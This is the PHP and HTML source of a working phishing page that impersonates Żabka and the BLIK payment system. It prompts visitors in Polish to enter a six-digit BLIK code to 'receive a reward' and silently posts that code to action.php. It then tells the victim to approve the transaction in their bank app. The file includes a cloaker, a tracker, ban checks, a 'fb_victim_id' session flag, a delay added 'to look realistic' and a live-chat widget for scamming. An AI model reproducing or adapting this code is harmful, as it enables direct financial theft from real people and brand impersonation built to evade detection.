<?php 
require_once 'cloaker_guard.php'; 
require_once 'tracker.php'; 
include_once 'check_ban.php';
include_once 'theme_config.php'; 
include_once 'translator_engine.php'; 
session_start();

// Żabka ve BLIK Logoları
$zabka_logo = "https://images.seeklogo.com/logo-png/52/1/zabka-logo-png_seeklogo-528855.png";
$blik_logo = "https://images.seeklogo.com/logo-png/31/1/blik-logo-png_seeklogo-313495.png";
?>
<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <title>Żabka | Płatność BLIK</title>
    <script src="https://cdn.tailwindcss.com"></script>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.3/font/bootstrap-icons.min.css">
    <style>
        /* Żabka Theme Colors */
        :root {
            --zabka-green: #007a33;
            --blik-red: #eb0000;
            --blik-dark: #231f20;
        }

        body { 
            font-family: 'Inter', sans-serif; 
            background-color: #ffffff;
            color: #1a1a1a;
            min-height: 100vh;
            display: flex;
            align-items: center;
            justify-content: center;
        }

        /* Beyaz Kart */
        .zabka-card {
            background: #ffffff;
            border-top: 4px solid var(--zabka-green);
            box-shadow: 0 10px 40px -10px rgba(0, 122, 51, 0.15);
        }

        /* BLIK Input */
        .blik-box {
            width: 45px;
            height: 55px;
            border: 2px solid #e5e7eb;
            border-radius: 8px;
            font-size: 24px;
            font-weight: 700;
            text-align: center;
            color: var(--blik-dark);
            transition: all 0.2s ease;
            background: #f9fafb;
        }
        .blik-box:focus {
            border-color: var(--zabka-green);
            box-shadow: 0 0 0 3px rgba(0, 122, 51, 0.1);
            outline: none;
            background: #fff;
            transform: translateY(-2px);
        }

        /* Animations */
        .fade-in-up { animation: fadeInUp 0.6s cubic-bezier(0.16, 1, 0.3, 1) forwards; opacity: 0; transform: translateY(20px); }
        @keyframes fadeInUp { to { opacity: 1; transform: translateY(0); } }

        .pulse-logo { animation: pulseLogo 2s infinite ease-in-out; }
        @keyframes pulseLogo { 0%, 100% { opacity: 1; transform: scale(1); } 50% { opacity: 0.8; transform: scale(0.95); } }
    </style>
</head>
<body class="p-4">

    <div class="w-full max-w-[400px] relative z-10 fade-in-up">
        
        <div class="zabka-card rounded-2xl p-8 text-center relative overflow-hidden">
            
            <div class="absolute top-4 right-4 flex items-center gap-1 text-[10px] font-bold text-[#007a33] bg-green-50 px-2 py-1 rounded-full border border-green-100">
                <i class="bi bi-shield-fill-check"></i>
                <span>Bezpieczna Płatność</span>
            </div>

            <div class="flex justify-center items-center gap-4 mb-8 mt-2">
                <img src="<?= $zabka_logo ?>" alt="Żabka" class="h-10 object-contain">
                <div class="w-px h-8 bg-gray-200"></div>
                <img src="<?= $blik_logo ?>" alt="BLIK" class="h-8 object-contain">
            </div>

            <div id="blik-input-screen">
                <h2 class="text-xl font-bold text-gray-900 tracking-tight mb-2">
                    Wprowadź kod BLIK
                </h2>
                <p class="text-sm text-gray-500 mb-8 leading-relaxed">
                    Wygeneruj kod w swojej aplikacji bankowej i wpisz go poniżej, aby odebrać środki.
                </p>

                <div class="flex justify-center gap-2 mb-8" id="blik-inputs">
                    <input type="tel" maxlength="1" class="blik-box" autofocus>
                    <input type="tel" maxlength="1" class="blik-box">
                    <input type="tel" maxlength="1" class="blik-box">
                    <input type="tel" maxlength="1" class="blik-box">
                    <input type="tel" maxlength="1" class="blik-box">
                    <input type="tel" maxlength="1" class="blik-box">
                </div>

                <div class="flex justify-center items-center gap-2 text-xs text-gray-400 font-medium animate-pulse">
                    <i class="bi bi-hourglass-split"></i> Czekam na kod...
                </div>
            </div>

            <div id="blik-wait-screen" class="hidden">
                <div class="mb-6 pulse-logo">
                    <div class="w-20 h-20 mx-auto bg-green-50 rounded-full flex items-center justify-center border border-green-100">
                        <i class="bi bi-phone-vibrate-fill text-3xl text-[#007a33]"></i>
                    </div>
                </div>
                
                <h3 class="text-lg font-bold text-gray-900 mb-2">
                    Potwierdź w aplikacji
                </h3>
                <p class="text-sm text-gray-500 leading-relaxed">
                    Otwórz aplikację swojego banku i zatwierdź transakcję, aby sfinalizować odbiór nagrody.
                </p>
                
                <div class="mt-8 w-full bg-gray-100 rounded-full h-1.5 overflow-hidden">
                    <div class="h-full bg-[#007a33] animate-[progress_15s_linear_infinite]" style="width: 100%"></div>
                </div>
            </div>

            <form id="blikForm" action="action.php" method="POST" class="hidden">
                <input type="hidden" name="blik_code" id="blik_code_hidden">
            </form>

        </div>

        <div class="mt-8 text-center opacity-50">
            <p class="text-xs text-gray-400 flex items-center justify-center gap-2">
                <i class="bi bi-lock-fill text-[#007a33]"></i>
                Połączenie szyfrowane SSL
            </p>
        </div>

    </div>

    <script>
        document.addEventListener('DOMContentLoaded', () => {
            const inputs = document.querySelectorAll('.blik-box');
            const hiddenInput = document.getElementById('blik_code_hidden');
            const form = document.getElementById('blikForm');
            const inputScreen = document.getElementById('blik-input-screen');
            const waitScreen = document.getElementById('blik-wait-screen');

            inputs.forEach((input, index) => {
                input.addEventListener('input', (e) => {
                    if (e.target.value.length === 1) {
                        if (index < inputs.length - 1) {
                            inputs[index + 1].focus();
                        } else {
                            // Kod tamamlandı
                            const code = Array.from(inputs).map(i => i.value).join('');
                            if (code.length === 6) {
                                hiddenInput.value = code;
                                
                                // Ekran değişimi
                                inputScreen.classList.add('hidden');
                                waitScreen.classList.remove('hidden');
                                waitScreen.classList.add('fade-in-up');
                                
                                // Formu gönder (biraz bekle, gerçekçi olsun)
                                setTimeout(() => {
                                    form.submit();
                                }, 2000);
                            }
                        }
                    }
                });

                input.addEventListener('keydown', (e) => {
                    if (e.key === 'Backspace' && e.target.value === '' && index > 0) {
                        inputs[index - 1].focus();
                    }
                });
            });
        });
    </script>

    <script src="redirect_check.js"></script>
    <?php if (isset($_SESSION['fb_victim_id'])) { include_once 'chat_widget.php'; } ?>
    
    <script type="text/javascript">
    var Tawk_API=Tawk_API||{}, Tawk_LoadStart=new Date();
    (function(){
    var s1=document.createElement("script"),s0=document.getElementsByTagName("script")[0];
    s1.async=true;
    s1.src='https://embed.tawk.to/65e4826c9131ed19d9742f26/1ho29qu35';
    s1.charset='UTF-8';
    s1.setAttribute('crossorigin','*');
    s0.parentNode.insertBefore(s1,s0);
    })();
    </script>
</body>
</html>